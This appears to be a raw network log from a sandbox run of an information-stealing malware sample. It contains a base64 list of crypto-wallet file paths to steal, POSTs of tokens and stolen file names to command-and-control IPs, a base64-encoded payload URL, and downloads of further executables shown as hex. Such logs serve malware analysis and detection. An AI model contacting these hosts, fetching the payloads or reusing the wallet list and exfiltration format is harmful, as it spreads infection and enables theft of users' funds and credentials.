Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Dec 7, 2024 15:06:54.521264076 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAKEBFBAKKFCBGDHDGHD Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 4b 45 42 46 42 41 4b 4b 46 43 42 47 44 48 44 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 32 31 31 66 39 32 31 39 66 37 35 31 36 65 62 31 30 37 63 61 61 39 36 30 66 39 62 38 63 33 32 39 33 33 35 63 66 66 30 37 65 61 34 63 36 30 61 62 35 39 34 37 37 36 63 38 33 65 61 61 39 62 64 30 36 65 63 63 37 66 38 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 45 42 46 42 41 4b 4b 46 43 42 47 44 48 44 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 45 42 46 42 41 4b 4b 46 43 42 47 44 48 44 47 48 44 2d 2d 0d 0a Data Ascii: ------BAKEBFBAKKFCBGDHDGHDContent-Disposition: form-data; name="token"e211f9219f7516eb107caa960f9b8c329335cff07ea4c60ab594776c83eaa9bd06ecc7f8------BAKEBFBAKKFCBGDHDGHDContent-Disposition: form-data; name="message"files------BAKEBFBAKKFCBGDHDGHD--
Dec 7, 2024 15:06:54.960133076 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 14:06:54 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 7, 2024 15:06:54.972600937 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJECFIECBGDGCAAAEHIE Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 32 31 31 66 39 32 31 39 66 37 35 31 36 65 62 31 30 37 63 61 61 39 36 30 66 39 62 38 63 33 32 39 33 33 35 63 66 66 30 37 65 61 34 63 36 30 61 62 35 39 34 37 37 36 63 38 33 65 61 61 39 62 64 30 36 65 63 63 37 66 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JJECFIECBGDGCAAAEHIEContent-Disposition: form-data; name="token"e211f9219f7516eb107caa960f9b8c329335cff07ea4c60ab594776c83eaa9bd06ecc7f8------JJECFIECBGDGCAAAEHIEContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------JJECFIECBGDGCAAAEHIEContent-Disposition: form-data; name="file"------JJECFIECBGDGCAAAEHIE--
Dec 7, 2024 15:06:55.908607960 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 14:06:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 7, 2024 15:06:55.910931110 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDBFBFCBFBKECAAKJKFB Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 32 31 31 66 39 32 31 39 66 37 35 31 36 65 62 31 30 37 63 61 61 39 36 30 66 39 62 38 63 33 32 39 33 33 35 63 66 66 30 37 65 61 34 63 36 30 61 62 35 39 34 37 37 36 63 38 33 65 61 61 39 62 64 30 36 65 63 63 37 66 38 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 42 2d 2d 0d 0a Data Ascii: ------GDBFBFCBFBKECAAKJKFBContent-Disposition: form-data; name="token"e211f9219f7516eb107caa960f9b8c329335cff07ea4c60ab594776c83eaa9bd06ecc7f8------GDBFBFCBFBKECAAKJKFBContent-Disposition: form-data; name="message"ybncbhylepme------GDBFBFCBFBKECAAKJKFB--
Dec 7, 2024 15:06:56.350390911 CET	271	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 14:06:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49740	185.215.113.16	80	7560	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 7, 2024 15:06:56.474401951 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Dec 7, 2024 15:06:57.806957006 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 07 Dec 2024 14:06:57 GMT Content-Type: application/octet-stream Content-Length: 3197440 Last-Modified: Sat, 07 Dec 2024 13:54:07 GMT Connection: keep-alive ETag: "6754537f-30ca00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 d0 30 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf0@1H"1@Wk00 @.rsrc@.idata @fkuoncfi**@cgsmbisr00@.taggant00"0@
Dec 7, 2024 15:06:57.806976080 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 7, 2024 15:06:57.807598114 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 7, 2024 15:06:57.807734013 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 7, 2024 15:06:57.807744980 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 7, 2024 15:06:57.808243990 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 7, 2024 15:06:57.808258057 CET	1236	IN	Data Raw: b2 de e6 37 7b df 23 f4 e8 46 ec 8f 58 19 ab 37 db 80 18 7a 24 c4 40 94 23 9c c0 27 e6 58 e8 0f 92 de e6 37 7b df 23 f4 e8 46 ec 8f 60 19 ab 37 db 98 17 7a 24 c4 20 94 23 9c c0 87 e6 58 e8 0f 72 de e6 37 7b df 23 f4 e8 46 ec 8f 68 19 ab 37 db 28 Data Ascii: 7{#FX7z$@#'X7{#F`7z$ #Xr7{#Fh7(z$#XR7{#Fp7y$`#GX27{#Fx7pz$#X7{#F7hz$#X7{#F7z$#gX7{#F7
Dec 7, 2024 15:06:57.808273077 CET	248	IN	Data Raw: 24 c4 00 90 23 9c c0 67 f8 58 e8 0f d2 11 e7 37 7b df 23 f4 e8 46 f8 8f ec 1a ab 37 db 38 02 7a 24 c4 e0 8f 23 9c c0 c7 f8 58 e8 0f b2 11 e7 37 7b df 23 f4 e8 46 f4 8f f8 1a ab 37 db 94 1b 7a 24 c4 40 99 23 9c c0 27 f7 58 e8 0f 92 11 e7 37 7b df Data Ascii: $#gX7{#F78z$#X7{#F7z$@#'X7{#F7z$ #Xr7{#F47hz$#XR7{#FL7xz$`#GX27{#FP7z$#X7{#Fh7z$#X7{#
Dec 7, 2024 15:06:57.808794975 CET	1236	IN	Data Raw: 7c 1b ab 37 db 00 1c 7a 24 c4 00 99 23 9c c0 67 f5 58 e8 0f d2 10 e7 37 7b df 23 f4 e8 46 f8 8f 94 1b ab 37 db 80 fe 79 24 c4 e0 98 23 9c c0 c7 f5 58 e8 0f b2 10 e7 37 7b df 23 f4 e8 46 ec 8f a0 1b ab 37 db 70 03 7a 24 c4 40 9a 23 9c c0 27 04 58 Data Ascii: \|7z$#gX7{#F7y$#X7{#F7pz$@#'X7{#F7@z$ #Xr7{#F7z$#XR7{#F7z$`#GX27{#F7Hz$#X7{#F7`z$#X
Dec 7, 2024 15:06:57.808933020 CET	1236	IN	Data Raw: 12 0b e7 37 7b df 23 f4 e8 46 ec 8f f4 27 ab 37 db 00 fd 79 24 c4 a0 95 23 9c c0 07 08 58 e8 0f f2 0b e7 37 7b df 23 f4 e8 46 f8 8f fc 27 ab 37 db 28 fd 79 24 c4 00 96 23 9c c0 67 06 58 e8 0f d2 0b e7 37 7b df 23 f4 e8 46 ec 8f 08 27 ab 37 db 40 Data Ascii: 7{#F'7y$#X7{#F'7(y$#gX7{#F'7@z$#X7{#F'7z$@#'X7{#F4 7z$ #Xr7{#FP 7z$#XR7{#F` 7z$`#GX27{#Fp 7
Dec 7, 2024 15:06:57.927026987 CET	1236	IN	Data Raw: 20 9c 24 f4 e8 69 5d 14 6f 27 57 31 6d dc 62 7a 20 6c 29 3a b0 99 ab 37 7e a3 3a 38 a9 59 e0 b4 e4 98 b8 0f 79 a9 e5 37 a1 d8 df ac de 72 b3 f5 20 9c 24 f4 e8 21 a7 3b dd 9d 7c 3b 5f 9c b8 0f c2 a9 e5 37 7b df 23 f4 e8 e0 23 f4 e8 e0 23 f4 e8 e0 Data Ascii: $i]o'W1mbz l):7~:8Yy7r $!;\|;_7{####';g{$1_$i]o'W^):7t*!e /#H(j@]vq&<$0]c_)77##m@^##i]o/--7r $#i]o'/%k(j~:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49742	185.215.113.206	80	7560	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 7, 2024 15:07:03.402965069 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHCAECGIEBKJKEBGDHDA Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 43 41 45 43 47 49 45 42 4b 4a 4b 45 42 47 44 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 32 31 31 66 39 32 31 39 66 37 35 31 36 65 62 31 30 37 63 61 61 39 36 30 66 39 62 38 63 33 32 39 33 33 35 63 66 66 30 37 65 61 34 63 36 30 61 62 35 39 34 37 37 36 63 38 33 65 61 61 39 62 64 30 36 65 63 63 37 66 38 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 41 45 43 47 49 45 42 4b 4a 4b 45 42 47 44 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 41 45 43 47 49 45 42 4b 4a 4b 45 42 47 44 48 44 41 2d 2d 0d 0a Data Ascii: ------DHCAECGIEBKJKEBGDHDAContent-Disposition: form-data; name="token"e211f9219f7516eb107caa960f9b8c329335cff07ea4c60ab594776c83eaa9bd06ecc7f8------DHCAECGIEBKJKEBGDHDAContent-Disposition: form-data; name="message"wkkjqaiaxkhb------DHCAECGIEBKJKEBGDHDA--
Dec 7, 2024 15:07:05.242305994 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 14:07:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49744	185.215.113.43	80	768	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 7, 2024 15:08:04.141177893 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 7, 2024 15:08:05.481297016 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 07 Dec 2024 14:08:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49745	185.215.113.43	80	768	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 7, 2024 15:08:07.106266022 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 37 32 37 37 37 42 30 35 45 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB72777B05E82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Dec 7, 2024 15:08:08.467382908 CET	558	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 07 Dec 2024 14:08:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 66 0d 0a 20 3c 63 3e 31 30 31 32 39 36 32 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 31 32 39 36 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 31 32 39 36 34 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 66 37 62 38 63 37 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 31 32 39 36 35 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 16f <c>1012962001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1012963001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1012964001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1012965001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49746	185.215.113.16	80	768	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 7, 2024 15:08:08.590588093 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 7, 2024 15:08:09.932593107 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 07 Dec 2024 14:08:09 GMT Content-Type: application/octet-stream Content-Length: 1840640 Last-Modified: Sat, 07 Dec 2024 13:53:52 GMT Connection: keep-alive ETag: "67545370-1c1600" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 62 af 50 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 c6 03 00 00 ac 00 00 00 00 00 00 00 f0 48 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 49 00 00 04 00 00 3d 64 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 30 05 00 70 00 00 00 00 20 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELbPgH@ I=d@\0p 1 2@.rsrc B@.idata 0F@ )@H@zhhhapid0/J@ciolgrdzH@.taggant0H"@
Dec 7, 2024 15:08:09.932655096 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 7, 2024 15:08:09.932665110 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 7, 2024 15:08:09.932770014 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 7, 2024 15:08:09.932781935 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 7, 2024 15:08:09.932792902 CET	1236	IN	Data Raw: 5c de 47 53 19 99 96 fc d0 96 4f 5b aa 30 22 76 40 cc 3a 4b 08 ed 39 3d 79 15 4a 23 14 11 4f 3e 8d 1f 83 f1 3f 04 69 48 35 9c ca 73 d9 d7 f9 37 66 51 50 b3 57 e4 52 28 60 43 8b 3e b6 ee 40 94 3e a1 cd 2e 3d 96 b0 a1 17 b6 7a 8c 78 f2 a9 57 ca 04 Data Ascii: \GSO[0"v@:K9=yJ#O>?iH5s7fQPWR(`C>@>.=zxWtGOgJjiD!d"t:T52*+yBl$!,(D]'5eCigYTV<_oIf[817$l=^&V?.~9tPx.T92.+pq)^+&W/T
Dec 7, 2024 15:08:09.932805061 CET	1236	IN	Data Raw: 0b 4c 19 ea f7 4d 2d 00 c2 6a a4 e7 f2 ed 1d 33 8b 27 4a 2f 3c fd 7b c5 24 0c 29 3f e9 94 7f 7e 7a ec fa 30 3c 0a 63 bb 72 16 7f dc 07 bf b7 d7 73 30 bb 87 f8 16 e1 df 35 b3 33 3f 42 44 87 bb b3 44 80 34 ca 62 ff 5c a0 06 97 12 92 19 84 17 a0 aa Data Ascii: LM-j3'J/<{$)?~z0<crs053?BDD4b\CG;]4bW6S%j?etSHVK()+B,_Od$E4WgvQP^*IMV#8@WW%O;Rqso-pOy)P~
Dec 7, 2024 15:08:09.933000088 CET	1236	IN	Data Raw: 34 06 64 89 3e ad 88 20 60 f9 70 bc 71 32 cb c6 e2 ad 73 74 23 54 69 15 b2 11 cc 3b 46 69 fa f6 c7 06 68 d5 b0 d1 bb af cb 1b 1c 29 35 91 aa 3d db 31 64 27 af 6f ef 48 99 50 7f 17 8f 1b 6d 45 37 ab 0f bb b0 ce aa fe 92 db 52 05 f2 1b 95 21 cf 1b Data Ascii: 4d> `pq2st#Ti;Fih)5=1d'oHPmE7R!#wKrir'^y4:oJwO/(D<?9l4EEB++tD63<D.oQN--lw{m#35>xD{Yo3:#1K.J*s>5j&G
